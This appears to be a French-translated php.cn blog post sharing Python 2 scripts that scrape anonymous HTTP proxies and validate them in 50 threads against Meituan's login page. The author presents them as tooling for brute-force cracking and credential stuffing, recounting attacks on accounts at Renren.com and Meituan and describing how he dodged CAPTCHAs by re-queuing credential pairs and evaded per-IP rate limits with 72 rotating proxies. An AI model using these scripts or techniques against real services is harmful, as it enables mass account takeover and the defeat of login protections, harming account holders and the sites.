Maison  >  Article  >  développement back-end  >  Exemple de code d'obtention et de vérification d'un proxy HTTP par lots via Python

Exemple de code d'obtention et de vérification d'un proxy HTTP par lots via Python

Y2J
Y2Joriginal
2017-05-02 15:24:121457parcourir

Cet article présente principalement le script Python pour l'acquisition et la vérification par lots du proxy HTTP. Les amis qui en ont besoin peuvent se référer à

Craquage par force brute HTTP et bourrage d'informations d'identification. Il existe certaines techniques courantes, telles que :

1. Lors de l'analyse du compte sur Renren.com, j'ai rencontré deux fois une erreur de compte unique et j'ai été obligé de saisir un code de vérification, mais l'autre partie n'a pas mis en œuvre la politique IP.

J'utilise la méthode de maintien d'une file d'attente de 100 000 (nom d'utilisateur, mot de passe) pour contourner le code de vérification. La méthode spécifique est que lorsqu'une certaine combinaison de nom d'utilisateur et de mot de passe nécessite un code de vérification, la séquence de craquage est suspendue, placée à la fin de la file d'attente, en attente du prochain test et continue de déchiffrer les mots de passe d'autres comptes.

De cette façon, vous pouvez vous assurer que 2/3 du temps est consacré au cracking normal et à l'analyse des comptes.

2. Lors du piratage d'un compte système sur Meituan.com, j'ai rencontré certaines restrictions sur l'accès IP unique, et la fréquence des demandes ne doit pas être trop rapide. J'ai donc raccroché 72 proxys HTTP pour résoudre ce problème. Il semble que les demandes de chaque IP soient normales, mais en fait, du point de vue de l'ensemble du programme, l'efficacité est assez impressionnante.

Dans cet article, j'ai posté un extrait de mon propre script HTTP, qui ne contient en réalité que quelques lignes. Le proxy anonyme est récupéré à partir d'ici : http://www.xici.net.co/nn/

Obtenez d'abord la liste des proxys :

from bs4 import BeautifulSoup
import urllib2
of = open('proxy.txt' , 'w')
for page in range(1, 160):
  html_doc = urllib2.urlopen('http://www.xici.net.co/nn/' + str(page) ).read()
  soup = BeautifulSoup(html_doc)
  trs = soup.find('table', id='ip_list').find_all('tr')
  for tr in trs[1:]:
    tds = tr.find_all('td')
    ip = tds[1].text.strip()
    port = tds[2].text.strip()
    protocol = tds[5].text.strip()
    if protocol == 'HTTP' or protocol == 'HTTPS':
      of.write('%s=%s:%s\n' % (protocol, ip, port) )
      print '%s=%s:%s' % (protocol, ip, port)
of.close()

Vérifiez ensuite si le proxy est disponible , car je suis le compte utilisé pour cracker le système Meituan, j'ai donc utilisé la balise de page Meituan :

#encoding=gbk
import httplib
import time
import urllib
import threading
inFile = open('proxy.txt', 'r')
outFile = open('available.txt', 'w')
lock = threading.Lock()
def test():
  while True:
    lock.acquire()
    line = inFile.readline().strip()
    lock.release()
    if len(line) == 0: break
    protocol, proxy = line.split('=')
    headers = {'Content-Type': 'application/x-www-form-urlencoded',
      'Cookie': ''}
    try:
      conn = httplib.HTTPConnection(proxy, timeout=3.0)
      conn.request(method='POST', url='http://e.meituan.com/m/account/login', body='login=ttttttttttttttttttttttttttttttttttttt&password=bb&remember_username=1&auto_login=1', headers=headers )
      res = conn.getresponse()
      ret_headers = str( res.getheaders() ) 
      html_doc = res.read().decode('utf-8')
      print html_doc.encode('gbk')
      if ret_headers.find(u'/m/account/login/') > 0:
        lock.acquire()
        print 'add proxy', proxy
        outFile.write(proxy + '\n')
        lock.release()
      else:
        print '.',
    except Exception, e:
      print e

all_thread = []
for i in range(50):
  t = threading.Thread(target=test)
  all_thread.append(t)
  t.start()
  
for t in all_thread:
  t.join()

inFile.close()
outFile.close()

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn